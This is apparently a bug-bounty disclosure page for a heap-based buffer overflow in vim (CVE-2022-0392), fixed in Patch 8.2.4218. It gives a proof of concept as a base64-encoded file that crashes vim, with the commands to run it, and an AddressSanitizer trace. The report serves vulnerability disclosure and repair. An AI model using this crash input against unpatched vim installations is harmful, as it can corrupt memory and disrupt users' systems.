Heap-based Buffer Overflow in vim/vim

Valid Reported on Jan 25th 2022

0

Description

Heap-buffer-overflow on write in vim
This issue was created to separate this one and was fixed with Patch 8.2.4218.

Proof of Concept

Steps to reproduce:

```
echo -n
bm9ybTBRgFBTMP8wMDCysDAwMDAwMDAwMDAw/zD/g7IwMDAwMDAwMDAwjjAwMDAwMDAwMDAwMDAwMDAwM
DAwMDAD | base64 -d > heap_ow_poc2
vim -u NONE -i NONE -n -X -Z -e -m -s -S heap_ow_poc2 -c :qa!
```

Sanitizer output:

```
==1637==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60700000
WRITE of size 1 at 0x607000000e66 thread T0
    #0 0x7a6af1 in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex
    #1 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #2 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #3 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal
    #4 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/norma
    #5 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_d
    #6 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src/
    #7 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #8 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_do
    #9 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #10 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #11 0xc729d8 in cmd_source /home/presler/fuzzing/vim_san
    #12 0xc72817 in ex_source /home/presler/fuzzing/vim_san
    #13 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_d
```

```
    #14 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #15 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #16 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m

    #17 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/mair
    #18 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #19 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #20 0x41db2d in _start (/home/presler/fuzzing/vim_sanitized/src/vim+0x4

0x607000000e66 is located 0 bytes to the right of 70-byte region [0x6070000
allocated by thread T0 here:
    #0 0x496589 in realloc (/home/presler/fuzzing/vim_sanitized/src/vim+0x4
    #1 0x4c7722 in ga_grow_inner /home/presler/fuzzing/vim_sanitized/src/al
    #2 0x4c74dd in ga_grow /home/presler/fuzzing/vim_sanitized/src/alloc.c:
    #3 0x648655 in bracketed_paste /home/presler/fuzzing/vim_sanitized/src/
    #4 0x7a4aee in getexmodeline /home/presler/fuzzing/vim_sanitized/src/ex
    #5 0x7371d9 in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_do
    #6 0x735134 in do_exmode /home/presler/fuzzing/vim_sanitized/src/ex_doc
    #7 0xa27ab8 in nv_exmode /home/presler/fuzzing/vim_sanitized/src/normal
    #8 0x9fedf7 in normal_cmd /home/presler/fuzzing/vim_sanitized/src/normc
    #9 0x76d4dc in exec_normal /home/presler/fuzzing/vim_sanitized/src/ex_c
    #10 0x76d33d in exec_normal_cmd /home/presler/fuzzing/vim_sanitized/src
    #11 0x76cc2a in ex_normal /home/presler/fuzzing/vim_sanitized/src/ex_do
    #12 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_c
    #13 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #14 0xc751a1 in do_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #15 0xc729d8 in cmd_source /home/presler/fuzzing/vim_sanitized/src/scri
    #16 0xc72817 in ex_source /home/presler/fuzzing/vim_sanitized/src/scrip
    #17 0x740d0e in do_one_cmd /home/presler/fuzzing/vim_sanitized/src/ex_c
    #18 0x73775f in do_cmdline /home/presler/fuzzing/vim_sanitized/src/ex_c
    #19 0x73af81 in do_cmdline_cmd /home/presler/fuzzing/vim_sanitized/src/
    #20 0x1198eca in exe_commands /home/presler/fuzzing/vim_sanitized/src/m
    #21 0x1196069 in vim_main2 /home/presler/fuzzing/vim_sanitized/src/mair
    #22 0x118fde6 in main /home/presler/fuzzing/vim_sanitized/src/main.c:42
    #23 0x7fb0cd8730b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/

SUMMARY: AddressSanitizer: heap-buffer-overflow /home/presler/fuzzing/vim_s
Shadow bytes around the buggy address:
  0x0c0e7fff8170: 00 00 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x0c0e7fff8180: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00
  0x0c0e7fff8190: 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 00 00
```

```
  0x0c0e7fff81a0: 00 00 00 fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x0c0e7fff81b0: 00 fa fa fa fa fa 00 00 00 00 00 00 00 00 00 01
=>0x0c0e7fff81c0: fa fa fa fa 00 00 00 00 00 00 00 00[06]fa fa fa

  0x0c0e7fff81d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff81e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff81f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8200: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c0e7fff8210: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==1637==ABORTING
```

Impact

This vulnerabilities are capable of crashing software, Modify Memory, and possible remote execution

References

- https://github.com/pres1er

CVE
CVE-2022-0392

(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
Medium (6.1)

Visibility
Public

Status
Fixed

Found by

knnikita
@knnikita
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 953 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

knnikita modified the report 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

knnikita has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

As mentioned in the description this issue was fixed with Patch 8.2.4218.

Bram Moolenaar marked this as fixed in 8.2 with commit 806d03 10 months ago

Bram Moolenaar has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✘

Sign in to join this conversation